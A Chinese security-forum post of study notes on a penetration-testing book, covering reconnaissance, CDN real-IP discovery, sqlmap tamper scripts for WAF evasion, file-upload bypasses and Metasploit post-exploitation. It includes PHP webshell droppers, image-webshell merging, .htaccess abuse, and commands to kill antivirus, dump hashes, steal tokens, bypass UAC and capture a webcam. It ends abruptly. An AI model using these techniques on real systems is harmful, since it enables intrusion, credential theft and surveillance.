用户
搜索
  • TA的每日心情
    开心
    2018-9-5 16:33
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-呆萌菜鸟

    Rank: 1

    0

    主题

    5

    帖子

    61

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-4-26
    发表于 2018-9-5 12:21:39 1610006
    本帖最后由 Mang0 于 2018-9-5 13:31 编辑

    前言

    本文记录书中一些不甚熟悉以及其他扩展的技巧tips,欢迎纠错和交流。

    进行渗透测试之前,最重要的一步就是信息收集,在这个阶段,我们要尽可能地收集目标的信息。所谓“知己知彼,百战不殆”,我们越是了解测试目标,测试的工作就越是容易。本章主要介绍了域名及子域名信息收集﹑查找真实IP﹑CMS指纹识别﹑目标网站真实IP﹑常用端口的信息收集等。

    域名信息

    nslookup

    whois

    天眼查

    敏感信息

    谷歌语法

    看burpsuite的response包

    子域名

    https://dnsdumpster.com/、在线dns侦查、

    指纹识别

    工具:御剑web指纹识别,what web,webrobo,椰树,轻量web指纹识别,

    在线网站:Bugscaner云悉指纹whatweb

    查找真实ip

    不存在cdn:http://www.ip138.com/

    cdn:先用https://www.17ce.com/多地区ping

    绕过方式:

    • 内部邮箱源,ping邮件服务器的域名

    • 扫描测试文件 phpinfo

    • 分站域名: 主站挂cdn,分站未挂,二级域名突破口

    • 国外访问:国内的cdn只针对国内用户访问加速,国外不一定 通过国外在线代理网站:https://asm.ca.com/en/ping.php

    • 查询域名解析记录。https://www.netcraft.com/

    • 网站有app,burpsuit抓包

    • 绕过CloudFlare CDN查找真实IP。CloudFlare Watch

    • 用 Zmap 扫全网

      『我们首先从 apnic 获取 IP 段,然后使用 Zmap 的 banner-grab 扫描出来 80 端口开放的主机进行 banner 抓取,最后在 http-req 中的 Host 写 xiaix.me』(其中xiaix.me是需要寻找真实IP的域名)。说到这个,我就想起了shodan,zoomeye。虽然他们都很强大地能够搜索到全球的IP banner信息,http的banner信息,但是却不能搜索网页代码。

      有没有一种搜索可以搜索网页标题、内容的方法,这样,我就能找到哪写服务器上运行的网站是与我要找的一致,就能找出真实的服务器IP。在圈子里混,朋友推荐一个新的IOT搜索引擎,跟前面提到的两个相似,叫fofa,WWW.FOFA.SO。这个东西优点是支持HTML源代码检索。

      举例:找到www.5173.com的真实IP

      使用ping命令,返回信息有『49k6959vz6ea10u8.alicloudsec.com (218.11.3.155)』,这及时试用了某CDN服务的信号。

      ping www.5173.com  正在 Ping 49k6959vz6ea10u8.alicloudsec.com [218.11.3.155] 具有 32 字节的数据:  来自 218.11.3.155 的回复: 字节=32 时间=34ms TTL=33  来自 218.11.3.155 的回复: 字节=32 时间=36ms TTL=33  来自 218.11.3.155 的回复: 字节=32 时间=32ms TTL=33  来自 218.11.3.155 的回复: 字节=32 时间=31ms TTL=33

      218.11.3.155 的 Ping 统计信息:  数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),  往返行程的估计时间(以毫秒为单位):  最短 = 31ms,最长 = 36ms,平均 = 33ms

      访问www.5173.com,源代码内显示标题有很特别的内容『网络游戏交易平台|手游交易|装备交易|游戏币交易|帐号交易|点卡充值|代练服务-是国内最权威最安全的游戏交易平台-5173.com』,包含有根域名5173.com,这种title是非常特殊的,用来检索,就能找到WWW.5173.COM的真实IP

      查看www.5173.com的标题

      将这个标题内容作为关键词搜索,使用语法『title=”网络游戏交易平台|手游交易|装备交易|游戏币交易|帐号交易|点卡充值|代练服务-是国内最权威最安全的游戏交易平台-5173.com”』

      在FOFA上搜索到3个网站包含指定标题

      在FOFA上搜索到www.5173.com的IP

      最后,访问http://218.11.3.155,如果网站可以打开,内容与www.5173.com是一致的,那么这就是真实IP;如果网站不可以打开,有可能这个是CDN,也有可能是一个虚拟主机服务器。使用ip=="218.11.3.155"

      搜索这个IP上的全部服务和网站,显示全是5173.com结尾的域名,基本确认这是真实ip,且是5173.com的主要网站服务器。

      查看『218.11.3.155』上的所有网站和服务

    收集敏感目录

    spinder.py、http://www.webscan.cc/、dirbuster

    第2章 搭建漏洞环境及实战

    白帽子在目标对象不知情或者没有得到授权的情况下发起的渗透攻击是非法行为,所以我们通常会搭建一个有漏洞的Web应用程序,以此来练习各种各样的安全渗透技术。本章主要介绍了Linux系统下的LANMP﹑Windows系统下的WAMP应用环境的搭建,DVWA漏洞平台﹑SQL注入平台﹑XSS测试平台等常用渗透测试漏洞练习平台的安装配置及实战。

    第3章 常用工具

    “工欲善其事,必先利其器”,在日常的渗透测试中,借助一些工具,白帽子可以更高效地执行安全测试,这能极大地提高工作的效率和成功率。本章详细介绍了黑客常用的三大神器SQLMap﹑Burp Suite﹑Nmap的安装﹑入门和实战利用,实为“居家旅行”﹑渗透测试之必备工具。

    sqlmap

    --os-shell --os-shell 运行任意系统操作命令

    sqlmap -u "url" --file-read "C:/example.exe" -v 1 从数据可服务器中读取文件

    --file-write --file-dest :上传文件到数据服务器中

    --identify -waf 是否有安全防护 (waf/IDS/IPS)

    sqlmap tamper:

    使用方法:

    sqlmap.py XXXXX -tamper "模块名"

    各个 tamper 的作用

    下面针对 sqlmap 自带的 tamper 做一下简单的解释。

    apostrophemask.py:

    return payload.replace(''', "%EF%BC%87") if payload else payload

    apostrophemask.py 用UTF-8全角字符替换单引号字符 ,用于过滤了单引号的情况。

    1' AND '1'='1 to  1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871

    适用数据库:ALL

    apostrophenullencode.py:

    return payload.replace(''', "%00%27") if payload else payload

    将单引号替换为宽字节 unicode 字符,用于过滤了单引号的情况

    1' AND '1'='1 to  1�' AND �'1�'=�'1

    适用数据库:ALL

    appendnullbyte.py:

    return "%s%%00" % payload if payload else payload

    在你构造的payload后面加一个空字符

    1' AND '1'='1  to  1' AND '1'='1[]

    适用数据库:Access

    base64encode.py:

    return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

    这个看模块名也知道是 base64 编码

    1' AND '1'='1 to  MScgQU5EICcxJz0nMQ==

    适用数据库:ALL

    between.py:

    这个代码有点长,就不贴代码了,可以自己去查看:C:\Python\SQLMap\tamper\between.py

    将大于符号和等号用 between 语句替换,用于过滤了大于符号和等号的情况

    1 AND A > B  to  1 AND A NOT BETWEEN 0 AND B

    1 AND A = B  to  1 AND A BETWEEN B AND B

    适用数据库:ALL

    bluecoat.py:

    用随机的空白字符代替空格,并且将等号替换为 like ,用于过滤了空格和等号的情况

    union select from users where id = 1  to  union%09select from%09users where id like 1

    适用数据库:MySQL 5.1, SGOS

    chardoubleencode.py:

    用 url 编码两次你的 payload

    select * from users  to  %2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572

    适用数据库:ALL

    charencode.py:

    用 url 编码一次你的 payload

    select * from users  to  %73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72

    适用数据库:ALL

    charunicodeencode.py:

    用 unicode 编码 payload ,只编码非编码字符

    select * from users  to  \u0073\u0065\u006c\u0065\u0063\u0074\u0020\u002a\u0020\u0066\u0072\u006f\u006d\u0020\u0075\u0073\u0065\u0072\u0073

    适用数据库:ALL,但是需要 asp 和 asp.net 环境

    commalesslimit.py:

    将 payload 中的逗号用 offset 代替,用于过滤了逗号并且是两个参数的情况

    limit 2,1  to  limit 1 offset 2

    适用数据库:MySQL

    commalessmid.py:

    将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况

    mid(version(), 1, 1)  to  mid(version() from 1 for 1)

    适用数据库:MySQL

    commentbeforeparentheses.py:

    retVal = re.sub(r"\b(\w+)(", "\g<1>/**/(", retVal)

    在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况

    union select group_concat(table_name)  to  union select group_concat/**/(table_name)

    适用数据库:ALL

    concat2concatws.py:

    payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

    用于过滤了 concat 函数的情况

    concat(1,2)  to  concat_ws(mid(char(0), 0, 0), 1, 2)

    适用数据库:MySQL

    equaltolike.py:

    retVal = re.sub(r"\s=\s", " LIKE ", retVal)

    将等号用 like 代替,用于过滤了等号的情况

    select from users where id=1  to  select from users where id like 1

    适用数据库:ALL

    escapequotes.py:

    return payload.replace("'", "'").replace('"', '"')

    将单引号转换成 \' ,双引号转换成 \" ,用于过滤了单引号或双引号的情况

    1' and 1=1--+  to  1\' and 1=1--+

    适用数据库:ALL

    greatest.py:

    用 greatest 代替大于符号,用于大于符号被过滤了的情况

    1 and a>b  to  1 and greatest(a,b+1)=a

    ALL

    halfversionedmorekeywords.py:

    在关键字前添加注释,用于过滤了关键字的情况

    union select 1,2  to  /!0union/!0select 1,2

    适用数据库:MySQL < 5.1

    htmlencode.py:

    return re.sub(r"\w", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload

    从名字就知道是将 payload 进行 html 编码

    1' and 1=1--+  to

    适用数据库:ALL

    ifnull2ifisnull.py:

    将 ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况

    ifnull(1, 2)  to  if(isnull(1), 2, 1)

    适用数据库:MySql

    informationschemacomment.py:

    retVal = re.sub(r"(?i)(information_schema).", "\g<1>/**/.", payload)

    在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况

    select table_name from information_schema.tables  to  select table_name from information_schema/**/.tables

    适用数据库:ALL

    lowercase.py:

    将 payload 里的大写转为小写

    UNION SELECT  to  union select

    适用数据库:ALL

    modsecurityversioned.py:

    用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf

    1 and 2>1--+  to  1 /!30874and 2>1/--+

    适用数据库:MySQL

    modsecurityzeroversioned.py:

    用注释来包围完整的查询语句,用于绕过 waf ,和上面类似

    1 and 2>1--+  to  1 /!00000and 2>1/--+

    适用数据库:MySQL

    multiplespaces.py:

    在关键字周围添加多个空格

    union select 1,2--+  to  union select 1,2--+

    适用数据库:ALL

    nonrecursivereplacement.py:

    关键字双写,可用于关键字过滤

    union select 1,2--+  to  uniounionn selecselectt 1,2--+

    适用数据库:ALL

    overlongutf8.py:

    这个不是很懂,也去网上搜了下,都说是”转换给定的 payload 当中的所有字符“,类似空格大于小于这种

    select field from table where 2>1  to  select%C0%AAfield%C0%AAfromtable%C0%AAwhere%C0%AA2%C0%BE1

    适用数据库:ALL

    percentage.py:

    用百分号来绕过关键字过滤,具体是在关键字的每个字母前面都加一个百分号

    select from users  to  %s%e%l%e%c%t %f%r%o%m %u%s%e%r%s

    适用数据库:ALL, 但是需要 ASP 环境

    plus2concat.py:

    用 concat 函数来替代加号,用于加号被过滤的情况

    select char(13)+char(114)+char(115) from user  to  select concat(char(113),char(114),char(115)) from user

    适用数据库:SQL Server 2012+

    plus2fnconcat.py:

    用 fn concat 来替代加号,和上面类似

    select char(13)+char(114)+char(115) from user  to  select {fn concat({ fn concat(char(113),char(114))},char(115))} from user

    适用数据库:Microsoft SQL Server 2008+

    randomcase.py:

    将 payload 随机大小写,可用于大小写绕过的情况

    union select 1,2--+  to  UniOn SElect 1,2--+

    适用数据库:ALL

    randomcomments.py:

    在 payload 的关键字中间随机插入 /**/ ,可用于绕过关键字过滤

    union select 1,2--+  to  un//ion sele//ct 1,2--+

    适用数据库:ALL

    securesphere.py:

    return payload + " and '0having'='0having'" if payload else payload

    在 payload 后面加入字符串,可以自定义

    1' and 1=1  to  1' and 1=1 '0having'='0having'

    适用数据库:ALL

    sp_password.py:

    retVal = "%s%ssppassword" % (payload, "-- " if not any( if in payload else None for in ('#', "-- ")) else "")

    在 payload 语句后添加 ssp_password ,用于迷惑数据库日志

    1’ and 1=1--+  to  1 and 1=1-- sp_password

    适用数据库:MSSQL

    space2comment.py:

    用 /**/ 替代空格,用于空格的绕过

    union select 1,2--+  to  union//select//1,2--+

    适用数据库:ALL

    space2dash.py:

    用注释符--和一个随机字符串加一个换行符替换控制符

    ?union select 1,2--+  to  union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+

    适用数据库:MSSQL、 SQLite

    space2hash.py:

    和上面类似,不过这儿是用#注释符

    union select 1,2--+  to  union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+

    适用数据库:MySQL

    space2morecomment.py:

    将空格用 /_/ 替代

    union select 1,2--+  to  union/_/select/_/1,2--+

    适用数据库:ALL

    space2morehash.py:

    和 space2hash.py 类似,但是这儿多一个 # 和换行符,具体看一下对比:

    space2hash.py:  union select 1,2--+  to  union %23 HSHjsJh %0A select %23 HhjHSJ %0A1,2--+

    space2morehash.py:union select 1,2--+  to  union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+

    适用数据库:MySQL >= 5.1.13

    space2mssqlblank.py:

    blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

    用这些随机空白符替换 payload 中的空格

    union select 1,2--+  to  union%01select%021,2--+

    适用数据库:SQL Server

    space2mssqlhash.py:

    用 # 加一个换行符替换 payload 中的空格

    union select 1,2--+ to  union%23%0Aselect%23%0A1,2--+

    适用数据库:MSSQL、MySQL

    space2mysqlblank.py:

    blanks = ('%09', '%0A', '%0C', '%0D', '%0B')

    用这些随机空白符替换payload中的空格

    union select 1,2--+  to  union%09select%0D1,2--+

    适用数据库:MySQL

    space2mysqldash.py:

    用 -- 加一个换行符替换空格

    union select 1,2--+  to  union--%0Aselect--%0A1,2--+

    适用数据库:MySQL、MSSQL

    space2plus.py:

    用 + 替换空格

    union select 1,2--+  to  union+select+1,2--+

    适用数据库:ALL

    space2randomblank.py:

    blanks = ("%09", "%0A", "%0C", "%0D")

    用这些随机空白符替换 payload 中的空格

    union select 1,2--+  to  union%09select%0C1,2--+

    适用数据库:ALL

    symboliclogical.py:

    retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))

    用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况

    1 and 1=1  to  1 %26%26 1=1

    1 or 1=1  to  1 %7c%7c 1=1

    适用数据库:ALL

    unionalltounion.py:

    return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

    用 union select 替换union all select

    union all select 1,2--+  to  union select 1,2--+

    适用数据库:ALL

    unmagicquotes.py:

    用宽字符绕过 GPC addslashes

    1‘ and 1=1  to  1%df%27 and 1=1--

    适用数据库:ALL

    uppercase.py:

    将 payload 大写

    union select  to  UNION SELECT

    适用数据库:ALL

    varnish.py:

    headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload

    添加一个 HTTP 头 “ X-originating-IP ” 来绕过 WAF

    还可以自定义:

    X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X)X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A

    适用数据库:ALL

    versionedkeywords.py

    对不是函数的关键字进行注释

    1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

    to

    1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENTUSER()/!AS//!CHAR_/),CHAR(32)),CHAR(58,100,114,117,58))#

    适用数据库:MySQL

    versionedmorekeywords.py:

    注释每个关键字

    1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

    to

    1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/_!CURRENTUSER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#

    适用数据库:MySQL >= 5.1.13

    xforwardedfor.py:

    headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

    添加一个伪造的 HTTP 头 “ X-Forwarded-For ” 来绕过 WAF

    适用数据库:ALL

    Web渗透的核心技术包括SQL注入﹑XSS攻击﹑CSRF攻击﹑SSRF攻击﹑暴力破解﹑文件上传﹑命令执行漏洞攻击﹑逻辑漏洞攻击﹑XXE漏洞攻击和WAF绕过等。本章依次将这些常见高危漏洞提取出来,从原理到利用,从攻击到防御,一一讲解。

    ●  SQL注入漏洞,讨论各种攻击手法,从最明显﹑最简单的方法到一系列高级攻击技巧,包括SQL注入绕过技术;

    ●  XSS攻击,讲解了XSS的形成原理﹑三种XSS类型﹑XSS常用语句﹑XSS编码绕过以及任何使用XSS平台测试XSS,最后提出了对XSS漏洞的修复意见;

    以及CSRF漏洞﹑SSRF漏洞﹑XXE漏洞﹑暴力破解漏洞﹑命令执行漏洞﹑文件上传漏洞﹑逻辑漏洞的形成原理﹑漏洞利用﹑代码分析,以及要如何对它们进行修复。

    sql注入中tips

    布尔型注入使用burp爆破以代替手注

    宽字节注入原因:

    数据库使用GBK,被转义符转义,

    加上%df。反斜杠是%5c,连接再一起%df%5c

    base64注入

    id=1

    变为id=MQ%3d%3d

    访问1’即为id=MSc%3d 注入的语句都使用base64编码

    XFF注入

    x-forward-for注入

    代码分析

    php中的getenv()函数用于获取一个环境变量的值,类似于$_server或者$_ENV返回环境变量对应的值,如果环境变量不存在则返回false

    绕过waf

    大小写绕过

    And Order

    双写绕过

    anandd绕过and过滤

    编码绕过

    url全编码

    两次url全编码

    内联注释

    /!and/

    sql防御

    1.过滤危险字符

    2.使用预编译

    pdo预编译

    xss

    dom xss是基于dom文档对象模型的

    xss绕过编码:js编码,html实体编码,url编码

    文件上传

    文件后缀绕过

    Apache 解析漏洞

    有些Apache允许解析其他文件后缀的,例如在http.conf中,如果配置如下代码

    AddType application/x-httpd-php .php .phtml

    所以可以上传一个后缀为phtml的Webshell。

    • 解析:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

    • 描述:若一个文件名abc.x1.x2.x3Apache会从x3开始解析,如果x3不是一个能解析的扩展名,就往前解析x2以此往复,直到能遇到一个能解析的文件名为止

    文件截断绕过

    截断条件:php版本小于5.3.4 php的magic_quotes_gpc为OFF

    假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00) 而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg

    实际操作:1.php%00.jpg

    选中%00进行url编码

    或者 test.asp .jpg 去burp hex中20更改00

    服务端检测绕过(文件类型MIME 类型检测)

    修改Content-Type 为image/jpeg

    服务端验证绕过(文件完整性检测)

    • 文件头检测 主要是在文件内容开始设置好图片文件的幻数 要绕过 jpg 文件检测就要在文件开头写上下图的值

    在php中还存在一种类似的文件上传绕过,php函数getimagesize(可以获取图片的宽高等信息,如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传。

    但是可以讲一个图片和一个webshell合并为一个文件,例如使用以下命令,

    cat image.png webshell.php > image.php

    copy 1.jpg/b+lubr.php/a 1lubr.jpg

    此时使用getimagesize()就获取到图片信息,且webshell的后缀是php也能被Apache解析为脚本文件

    服务端检测绕过(文件扩展名检测)

    • 黑名单检测

      1. 文件名大小写绕过  用像 AsP,pHp 之类的文件名绕过黑名单检测

      2. 名单列表绕过  用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类.还有php2、php3、

      3. 特殊文件名绕过  比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式  在 windows是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会  被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。

      4. 0x00 截断绕过

        截断条件:php版本小于5.3.4 php的magic_quotes_gpc为OFF

        假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00) 而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg

        实际操作:1.php%00.

        jpg

        选中%00进行url编码

        或者 test.asp .jpg 去burp hex中20更改00

      5. htaccess 文件攻击  配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测

        该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

        <FilesMatch "_php.gif">
         SetHandler application/x-httpd-php
        </FilesMatch>

        保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,如果没启用,启用方法见:http://www.jb51.net/article/25476.htm 然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。该方法其实不是漏洞,是Apache的特性。该方法常用于黑客入侵网站之后,不想被发现,留一个隐蔽的后门。在PHP手册中提到一句话,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服务器端如果采用了黑名单的形式限制上传,但是黑名单中却没有.htaccess文件,那么我们可以上传.htaccess文件覆盖掉原来的文件。

      6. 解析调用/漏洞绕过  这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
    • 白名单检测

    • .htaccess 文件攻击

    服务端检测绕过(文件内容检测)

    • 文件幻数检测

      JPG : FF D8 FF E0 00 10 4A 46 49 46  GIF : 47 49 46 38 39 61 (GIF89a)  PNG: 89 50 4E 47

    • 文件相关信息检测

      图像文件相关信息检测常用的就是 getimagesize()函数

    只需要把文件头部分伪造好就 ok
    GIF89a

    <?php phpinfo();?>

    • 文件加载检测

      绕过方法:  针对渲染加载测试:代码注入绕过  针对二次渲染测试:攻击文件加载器

    服务器解析漏洞

    Apache 解析漏洞
    • 解析:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

    • 描述:若一个文件名abc.x1.x2.x3Apache会从x3开始解析,如果x3不是一个能解析的扩展名,就往前解析x2以此往复,直到能遇到一个能解析的文件名为止
    IIS 解析漏洞

    解析:test.asp/jkl,IIS的某些版本中会直接当成asp来解析;test.asp;jkl,IIS某些版本也会按照asp来解析;任意文件名/任意文件名.phpIIS某些版本会直接当php来解析

    描述:

    IIS5.x/6.0解析漏洞

    1.IIS6.0在解析asp时有两个解析漏洞,一个是如果任意目录名包含.asp字符串,那么这个目录下的所有文件都会按照asp去解析,另一个是文件名中含有asp;就会优先当作asp来解析

    利用方法有两种:

    1. 畸形目录解析
    /xxxx.asp/xxx.jpg

    2. 分号文件解析
    test.asp;.jpg

    • 第1种是因为xxx.jpg图片文件在某个以.asp结尾的目录下面,而被IIS当成可执行文件来解析

    • 第2种虽然以.jpg结尾,但IIS 解析时忽略了分号";"后面的部分,当成了test.asp文件来解析

    IIS7.0/7,5

    在默认Fast-CGI开启状况下

    2.IIS7.0/7.5对php解析有类似Nginx的解析漏洞只要对任意文件名在url后面追加上字符串/任意文件名.php就会按照php去解析

    上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

    Nginx 解析漏洞
    • 解析:

      1. 任意文件名/任意文件名.php

        将shell语句,如

        <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

        写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后

        copy xx.jpg/b + xx.txt/a test.jpg

        上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

      2. 任意文件名%00.php都当作php来解析

        xx.jpg%00.php

    • 描述:例如原文件名test.jpg但内容包含php一句话添加为test.jpg/x.php来进行解析攻击低版本可以子任意文件名后添加%00.php进行截断攻击

    • 对应版本:

      nginx 0.5.* [Success]

      nginx 0.6.* [Success]

      nginx 0.7 = 0.7.65 [Success]

      nginx 0.8 = 0.8.37 [Success]

    竞争条件攻击

    一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否含有webshell,如果包含则删除。

    首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个PHP文件Mang0.php,内容为:

    <?php fputs(fopen("./shell.php", "w"), '<?php @eval($_POST["Mang0"]) ?>'); ?>

    当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的PHP的文件,利用时间差完成了webshell的上传。

    防御:

    1. 通过白名单

    2. 对上传的文件进行重命名,例如rand(10,99)data("Mango").".jpg"

    逻辑漏洞

    未授权访问

    非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。尝试将一些敏感的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。

    越权访问

    垂直越权

    垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)。

    水平越权

    水平越权(水平越权是指相同权限的不同用户可以互相访问)。

    id=1是一个用户信息 改为id=2可以看到另一个用户信息

    第5章 Metasploit技术

    Metasploit是近年来最强大﹑最流行和最有发展前途的开源渗透测试平台软件之一。它完全颠覆了已有的渗透测试方式。本章详细介绍了Metasploit的攻击步骤﹑信息收集﹑漏洞分析﹑漏洞利用﹑权限提升﹑移植漏洞代码模块,以及如何建立后门的实践方法。并通过具体的内网域渗透测试实例,来分析如何通过一个普通的WebShell权限一步一步获取域管权限,最终畅游整个内网。

    模块

    模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。  分为

    Aux(辅助模块)

    Exploit(攻击模块)

    Payloads(攻击载荷模块)

    POST(后期渗透模块)

    Encoders(编码器模块)

    常见命令

    • 启动metasploit(命令行模式) :msfconsole

    • 升级metasploit:msfupdate

    • 查看命令使用帮助信息:help [COMMAND]

    • 搜索模块:search [模块名 //(search ms08-067)

    • 选择模块:use xxx/xxx/xxx

    • 查看模块信息:info

    • 查看攻击载荷:show payloads

    • 设置攻击载荷:set payload xxx/xxx/xxx

    • 查看需要设置的配置参数:show options

    • 设置配置参数:set XXXX xxxxxx

    • 开始攻击:exploit

    • 退出当前模块:back

    • 退出msf : exit

    主机扫描

    search portscan

    nmap -O -Pn/p0 192.168.11.251 不使用ping 可以穿透防火墙,皮面被防火墙发现

    0x00 进程迁移

    刚获得meterpreter shell时,改shell极其脆弱

    下一步要移动shell使他和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样渗透更难被检测到

    1. meterpreter > ps

      pid PPID Name

      448 3028 explore.exe

      984  448 138.exe

    2. meterpreter > geipid 获得meterpreter shell的进程号pid984

    3. meterpreter > migrate 448 这样把shell移动到Explore.exe进程里。

    4. meterpreter > getpid

      current pid:448

    5. 进程迁移完成后 原先pid为984会自动关闭 ,如果没有则可输入 kill 984 杀掉

    0x01 系统命令

    sysinfo

    run post/windows/gather/checkvm 检查目标机是否允许在虚拟机上

    route 查看完整网络配置

    run post/windows/manage/killav 命令关闭目标机杀毒软件

    run post/windows/manage/enable_rdp 开启目标机远程桌面协议

    run post/windows/manage/autoroute 查看网络结构

    background隐藏meterpreter

    然后输入 route add 命令添加路由,添加成功后输入route print命令查看,

    可以看到192.168.172.0路由已经

    run post/windows/gather/enum_logged_on_users 命令列举当前有多少用户登录了目标机

    run post/windows/gather/enum_applications 列举安装在目标机上的应用程序

    run post/windows/gather/credentials/windows_autologin 抓取字典登录的用户名和密码

    meterpreter >screengrab 抓取目标机的屏幕

    网络摄像头摄像头命令

    webcam_list  #查看摄像头
    webcam_snap   #通过摄像头拍照
    webcam_stream   #通过摄像头开启视频

    输入shell 进入目标机shell

    exit 停止meterpreter会话

    文件系统命令

    search -f *.txt -d c:\ 搜索c盘中所有以.txt为扩展名

    download c:\test.txt/root 下载c盘中的test.txt文件到攻击机root下

    upload /tmp/hack.txt C:\ 上传文件到目标机上

    提权

    meterpreter > shell

    whoami/groups

    getuid 查看已经获得的权限

    1)getsystem提权

    getsystem

    getsystem工作原理:  ①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名  管道.②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接  .③Windows服务已启动,导致与命名管道建立连接  .④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。  然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

    失败使用

    sysinfo查看已打补丁

    search 其他未打补丁的漏洞

    令牌窃取

    Token

    kerberos是一种网络认证协议,通过密钥系统为客户端/服务器应用程序提供强大的认证服务:保护服务器防止错误的用户使用,同时保护它的用户使用正确的服务器,即支持双向验证。

    假冒令牌实战

    1. meterpreter > getuid 查看已获得权限

    2. meterpreter > getsystem 失败

    3. meterpreter > use incognito

    4. list_tokens -u 列出可用的 token,

    5. impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token  或者impersonate_token NT\ AUTHORITY\SYSTEM #不加单引号 需使用\
    获取哈希

    一、hashdump

    run post/windows/gather/smart_hashdump #从SAM导出密码哈希 需要SYSTEM权限

    二、使用Quarks PwDump

    三、使用windows credentials editor

    upload /root/wce.exe c:\

    shell

    四、使用mimikatz

    2)bypassuac

    内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

    use exploit/windows/local/bypassuac
    use exploit/windows/local/bypassuac_injection
    use windows/local/bypassuac_vbs
    use windows/local/ask

    如使用bypassuac.rb脚本:

    msf > use exploit/windows/local/bypassuac
    msf > set SESSION 2
    msf > run

    移植利用github 其他poc

    1. git clone

